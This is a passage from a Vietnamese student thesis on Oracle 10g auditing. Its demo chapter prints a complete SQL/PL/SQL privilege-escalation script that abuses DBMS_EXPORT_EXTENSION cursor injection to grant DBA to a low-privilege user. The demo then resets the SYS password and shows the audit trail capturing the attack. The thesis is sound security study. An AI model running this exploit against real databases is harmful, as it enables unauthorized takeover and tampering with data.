Những người dùng SYSDBA và SYSOPER có quyền khởi động và tắt
các cơ sở dữ liệu.Bởi vì họ có thể thay đổi trong khi cơ sở dữ liệu được đóng
lại, các Audit trail cho các đặc quyền phải được lưu trữ bên ngoài cơ sở dữ
liệu.
2.3.5.2. Xem kiểm toán.
Nếu các hoạt động SYS được kiểm toán, sau đó các tham số khởi tạo
audit_file_dest điều khiển vị trí lưu trữ của các hồ sơ kiểm toán. Trên nền
tảng Windows, các audit trail mặc định các bản ghi sự kiện Windows. Trên
nền tảng UNIX hay Linux, bản ghi kiểm toán được lưu trữ trong
$ORACLE_HOME / RDBMS / kiểm toán.
Lớp AT3C - 84 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Chương 3
DEMO CHÈN MÃ SQL, PL/SQL NÂNG QUYỀN DBA VỚI
DBMS_EXPORT_EXTENSION TRONG ORACLE 10G
Trong lĩnh vực bảo mật thông tin, kỹ thuật chèn mã SQL khá phổ biến
đối với những người quan tâm về bảo mật, và ở Việt Nam kỹ thuật này
thường được ứng dụng cho những Cơ sở dữ liệu đơn giản, ít được sử dụng tại
các doanh nghiệp lớn như SQL Server, MySQL. Vì lý do này, tính nguy hiểm
của chèn mã SQL vẫn chưa được đánh giá đúng mức tại Việt Nam. Đối với
Lớp AT3C - 85 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Cơ sở dữ liệu Oracle (Oracle Database), kỹ thuật này được biến đổi khá đa
dạng và nguy hiểm, cho phép một tài khoản với quyền hạn thấp có thể tùy
biến nâng, đoạt được quyền quản trị DBA theo nhiều cách khác nhau, giúp tin
tặc có thể điều khiển toàn hệ thống máy chủ Oracle. Bài viết này sẽ minh họa
mã khai thác điểm yếu chèn mã SQL, PL/SQL đối với gói lệnh sẵn có
DBMS_EXPORT_EXTENSION.
Gói lệnh sẵn có DBMS_EXPORT_EXTENSION của Oracle Database,
mặc định cho phép bất kì tài khoản nào trong Oracle cũng có thể truy cập.
3.1. KỊCH BẢN DEMO.
Để minh họa kỹ thuật chèn mã vào gói DBMS_METADATA, chúng ta
sẽ dùng File mã lệnh hack.sql : File lệnh này sử dụng kỹ thuật chèn mã con
trỏ nên cho phép một tài khoản bất kì chỉ có quyền CREATE SESSION có
thể nâng quyền thành DBA.
Sau đây là mã code của file hack.sql
whenever sqlerror exit rollback
set feed on
set head on
set arraysize 1
set space 1
set verify off
set pages 25
set lines 80
set termout on
clear screen
set serveroutput on size 1000000
spool dbms_exp_ext_c.lis
undefine user_name
undefine grant_revoke
set feed off
col system_date noprint new_value val_system_date
select to_char(sysdate,'Dy Mon dd hh24:mi:ss yyyy') system_date from
sys.dual;
prompt check_ora_sql_injection: Release 1.0 - Production on
&val_system_date
set feed on
prompt
Lớp AT3C - 86 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
accept user_name char prompt 'USERNAME TO CHECK
[HONGTHUY]: ' default HONGTHUY
accept grant_revoke char prompt 'PRIVS CONTROL [G]rant/[R]evoke
[G]: ' default G
prompt
declare
--
lv_grant_revoke varchar2(1) := 'G';
lv_sqlcmd varchar2(1000):= 'GRANT ALL PRIVILEGE, DBA TO ' ||
upper('&&user_name');
lv_evil_cursor varchar2(1000);
lv_cursor_output varchar2(100);
lv_nol number := 2;
lv_cursor_number varchar2(10);
lv_exec_cursor varchar2(1000);
lv_run_inject_cursor varchar2(1000);
lv_evil_function varchar2(1000);
lv_run_evil_function varchar2(1000);
lv_DBA number := 0;
--
function isDBA return varchar2 is
lv_DBA varchar2(1) := '0';
begin
select '1' INTO lv_DBA from user_role_privs where
granted_role='DBA';
return lv_DBA;
exception when others then
return lv_DBA;
end;
begin
dbms_output.enable(1000000);
lv_grant_revoke:=upper('&&grant_revoke');
if lv_grant_revoke='R' then
dbms_output.put_line('--- REVOKING DBA FROM '||
upper('&&user_name')||'...');
lv_sqlcmd := 'REVOKE ALL PRIVILEGE, DBA FROM ' ||
upper('&&user_name');
execute immediate lv_sqlcmd;
dbms_output.put_line('--- DONE!');
return;
end if;
--------------------------------------------------------------
-----------------
--DBMS_EXPORT_EXTENSION
--------------------------------------------------------------
-----------------
Lớp AT3C - 87 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
lv_evil_cursor := 'DECLARE MYC_PKG_1 NUMBER;'||
'BEGIN MYC_PKG_1 := DBMS_SQL.OPEN_CURSOR; ' ||
'DBMS_SQL.PARSE(MYC_PKG_1,'''||
'CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID
CURRENT_USER '||
'IS FUNCTION ODCIIndexGetMetadata (a
SYS.odciindexinfo, ' ||
'b VARCHAR2,c VARCHAR2, d SYS.odcienv) RETURN
NUMBER; END;'',0); '||
'DBMS_OUTPUT.PUT_LINE(''Cursor1 ''||MYC_PKG_1);
END;';
--insert into app_log values(sysdate,lv_evil_cursor); commit;
execute immediate lv_evil_cursor;
lv_evil_cursor := 'DECLARE MYC_PKG_2 NUMBER;'||
'BEGIN MYC_PKG_2 := DBMS_SQL.OPEN_CURSOR;' ||
'DBMS_SQL.PARSE(MYC_PKG_2,'''||
'CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS
'||
'FUNCTION ODCIIndexGetMetadata (a
SYS.odciindexinfo, b VARCHAR2,'||
'c VARCHAR2, d SYS.odcienv) RETURN NUMBER IS
'||
'PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE
IMMEDIATE ''''' ||
lv_sqlcmd ||''''';'||' COMMIT; RETURN(1);
END;END;'',0); '||
'DBMS_OUTPUT.PUT_LINE(''Cursor2 ''||
MYC_PKG_2); END;';
---insert into app_log values(sysdate,lv_evil_cursor); commit;
execute immediate lv_evil_cursor;
dbms_output.put_line('--- CHECK CURSOR INJECTION');
begin
lv_run_inject_cursor := 'DECLARE PLS PLS_INTEGER; '||
'RET VARCHAR2(200);BEGIN RET := '||
'SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADA
TA(''A'',''' ||
upper('&&user_name')||''',''BUNKERPKG'','''||
upper('&&user_name')||''','''',PLS,0);END;';
--insert into app_log values(sysdate,lv_run_inject_cursor);
commit;
execute immediate lv_run_inject_cursor;
exception when others then
null;
end;
Lớp AT3C - 88 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
if isDBA='1' then
dbms_output.put_line('--- THUY dai ka ^^ GOT THE DBA!!');
return;
end if;
exception
when others then
dbms_output.put_line('ERROR: '||sqlcode);
dbms_output.put_line('MSG: '||sqlerrm);
end;
/
spool off
whenever sqlerror continue
Tài khoản SYS đăng nhập cơ sở dữ liệu với tài khoản và pass
SYS/abcd1234. Sau đó :
Tạo một bảng MUCLUONG và chèn dữ liệu vào bảng
Tạo 2 user GIAOVU và HONGTHUY
Gán quyền CONNECT ,CREATE TABLE, CREATE
PROCEDURE cho 2 user
Dùng câu lệnh Audit để kiểm soát tất cả những hành động của 2
user
User GIAOVU kết nối vào database và tạo một bảng có tên DIEM và
chèn dữ liệu vào bảng
Kết nối database với User HONGTHUY. Sau đó thực hiện File mã lệnh
@hack.sql để nâng quyền tài khoản HONGTHUY thành DBA
Sau đó User HONGTHUY sẽ tiến hành sửa đổi cơ sở dữ liệu với quyền
DBA
Sửa đổi các thông số trong bảng DIEM của user GIAOVU
Sửa đôi thông số trong bản mức lương của user SYS nhưng không
đủ thầm quyền. Ta cần kết nối với database bằng chính user SYS.
Vậy nên ta dùng câu lệnh ALTER user để đổi pass của user SYS
và đăng nhập với quyền SYS và thay đổi thông số của bảng
MUCLUONG thành công.
Như vậy user HONGTHUY có thể thay đổi toàn bộ cơ sở dữ liệu.
Lớp AT3C - 89 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Để gỡ quyền SYS ta thực hiện lại mã lệnh như ban đầu.
3.2. QUY MÔ DEMO.
Bước 1 : SYS kết nối vào cơ sở dữ liệu với ID/PASS :
SYS/abcd1234.Sau đó :
- Kích hoạt tính năng kiểm toán.
- Khởi động lại cơ sở dữ liệu.
- Tạo user HONGTHUY/pass
Hình 3.1: Tạo User HONGTHUY
- Tạo User GIAOVU
Lớp AT3C - 90 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 3.2: Tạo User GIAOVU
Bước 2 : Gán quyền và kiểm toán các hành động của 2 user.
Hình 3.3: Gán quyền và kiểm toán 2 user
Bước 3 : SYS tạo một bảng dữ liệu là NHANSU (Ten,Mucluong)
Lớp AT3C - 91 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 3.4 SYS tạo bảng dữ liệu nhân sự
Bước 4:
Kết nối cơ sở dữ liệu bằng user: GIAOVU.
Tạo bảng dữ liệu DIEM (Sinhvien, diem)
Chèn dữ liệu vào bảng
Hình 3.5: User GIAOVU tạo bảng DIEM
Bước 5 : Từ màn hình cmd kết nối User HONGTHUY vào database
bằng câu lệnh: sqlplus hongthuy/password
Lớp AT3C - 92 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 3.6: User HONGTHUY kết nối vào database
Bước 6 : View quyền của HONGTHUY chỉ có quyền connect
Hình 3.7: Show bảng dữ liệu
Bước 7 : Thực hiện file mã lệnh @hack
Lớp AT3C - 93 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 3.8: Thực hiện file mã lệnh @hack
Hình 3.9: User HONGTHUY nâng được thành quyền SYS
Lớp AT3C - 94 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 3.10 : Kiểm tra lại quyền của HONGTHUY khi đã được nâng lên SYS
Bước 8: User HONGTHUY sửa đổi dữ liệu trong bảng GIAOVU.DIEM
Hình 3.11: User HONGTHUY sửa đổi dữ liệu trong bảng GIAOVU.DIEM
Bước 9 : Sửa đổi dữ liệu của User SYS
Lớp AT3C - 95 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 3.12: User HONGTHUY chưa đủ quyền sửa dữ liệu của SYS
Hình 3.13: Dùng câu lệnh Alter user để sửa pass của SYS thành hongthuy
Lớp AT3C - 96 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 3.14: kết nối database bằng user SYS/hongthuy và sửa đổi bảng
NHANSU
Bước 10: Dùng câu lệnh Select * from dba_audit_trail để xem kiểm toán
Lớp AT3C - 97 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 3.15: kết nối database bằng user SYS/hongthuy và sửa đổi bảng
NHANSU
3.3. KẾT QUẢ ĐẠT ĐƯỢC.
Sau khi tấn công user HONGTHUY là một user bình thường chỉ có
quyền CONNECT đã leo thang thành DBA, và đã sửa được dữ liệu của các
user khác. Không những thế user HONGTHUY đã đổi pass của user SYS để
sửa đổi dữ liệu của SYS và cả hệ thống.
Ta đã sử dụng kiểm toán standard database auditing để ghi lại được mọi
hành động tấn công leo thang đặc quyền của user HONGTHUY.Bao gồm
ngày giờ tấn công, hành động tấn công, đối tượng bị tấn công.
Trong thực tế khi có kẻ tấn công tương tự như trên, nhờ những bản ghi
kiểm toán mà ta có thể phát hiện và ngăn chặn kịp thời giảm thiểu tối đa các
thiệt hại.
Chương 4
KẾT LUẬN
4.1. KẾT QUẢ ĐẠT ĐƯỢC.
Sau một thời gian tìm hiểu, nghiên cứu, đề tài của em đã đạt được một số
kết quả sau:
Nội dung của đề tài đã phần nào khái quát được những ưu điểm nổi trội
của Oracle 10g về kiến trúc, quản trị và bảo mật.
Đặc biệt là đã đi sâu vào tìm hiểu chức năng cũng như phương thức hoạt
động của các loại kiểm toán trong Oracle 10g.Không những thế còn thấy
được tầm quan trọng của kiểm toán trong việc bảo vệ dữ liệu.
Lớp AT3C - 98 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Đồng thời em cũng đi vào xây dựng một tấn công nâng quyền cho một
user bình thường thành quyền SYS và kiểm toán đã thực hiện tốt chức năng
lưu lại dấu vết.
4.2. HẠN CHẾ.
Bên cạnh những kết quả đạt được đề tài của em vẫn còn một số hạn chế
là trong phần demo kiểm toán mới chỉ phát hiện được tấn công sau khi xem
kiểm toán
Kiểm toán chỉ lưu được hành động tấn công vào cơ sở dữ liệu là hành
động gì, nhưng không biết được chi tiết hành động như thế nào.
4.3. HƯỚNG PHÁT TRIỂN.
Từ kết quả nghiên cứu của đề tài và từ những hạn chế trên, em muốn đặt
ra những vấn đề mới và những định hướng phát triển mới của đề tài trong
tương lai đó là:
Về chu trình kiểm toán trong demo sẽ tạo một trigger để kiểm toán có
thể lưu lại được chi tiết hành động tấn công giúp DBA có thể dễ dàng khôi
phục lại cơ sở dữ liệu đã bị xâm phạm
Đi sâu vào nghiên cứu Oracle Audit Vault (Oracle kiểm toán kho quỹ)
Oracle Audit Vault là một giải pháp mang tính hiệu quả cao nhằm củng
cố, phát hiện, theo dõi, cảnh báo và báo cáo về số liệu kiểm toán để kiểm toán
bảo mật và tuân thủ các chính sách bảo mật. Oracle Audit Vault cung cấp khả
năng hợp nhất dữ liệu và các sự kiện quan trọng từ các hệ thống khác nhau
như cơ sở dữ liệu, máy chủ ứng dụng, ứng dụng, và hệ điều hành vào một kho
quản lý bảo mật tập trung.
Củng cố và kiểm toán an toàn dữ liệu
- Oracle 9i Release 2 và cao hơn
- SQL Server 2000, 2005
- IBM DB2 UDB 8,5 và 9,2
- Sybase ASE 12,5-15,0
- Bảo mật và khả năng mở rộng
- Làm sạch nguồn dữ liệu Oracle kiểm toán
4.4. ĐỀ XUẤT.
Lớp AT3C - 99 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Kiểm toán là một phần không thể thiếu trong lĩnh vực bảo mật cơ sở dữ
liệu. Nhưng bên cạnh những ưu điểm thì kiểm toán vẫn tồn tại những nhược
điểm nếu như không kiểm toán đúng mức sẽ gây ra giảm hiệu suất của hệ
thống và tăng lượng lưu trữ các bản ghi không cần thiết gây ra lãng phí tài
nguyên.
Song song với cơ chế kiểm toán để bảo đảm an toàn tối đa cần sử dụng
các công cụ kết hợp như IDS và IPS như là GreenSQL, AppDetective… để
sớm phát hiện và ngăn chặn những tấn công làm tổn hại cơ sở dữ liệu.
Khi sử dụng Oracle 10g người dùng cũng cần chú ý một số vấn đề như:
Môi trường điện toán mạng lưới mới có thể rất khó cho người
quản trị nếu sử dụng các công cụ quản trị truyền thống
Không sử dụng mật khẩu mặc định của hệ thống để đảm bảo an
toàn cho sữ liệu truy cập.
Thường xuyên cập nhật những bản vá lỗi của Oracle.
Cuối cùng em xin chân thành cám ơn quý thầy cô khoa công nghệ thông
tin Học Viện Kĩ Thuật Mật Mã đã nhiệt tình giảng dạy và truyền đạt những
kiến thức bổ ích cho em.Và đặc biệt là Cô giáo Trần Thị Lượng đã bỏ ra rất
nhiếu tâm huyết hướng dẫn em hoàn thành đồ án này.
Lớp AT3C - 100 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
TÀI LIỆU THAM KHẢO
[1] http://vnoug.org/viewtopic
[2] http://www.oracle-base.com/articles/10g/Auditing_10gR2.php
[3] http://download.oracle.com
[4] http://www.kmasecurity.net
[5] http://www.oravn.com
[6] http://download.oracle.com/docs/
Lớp AT3C - 101 - Cao Thị Hồng Thúy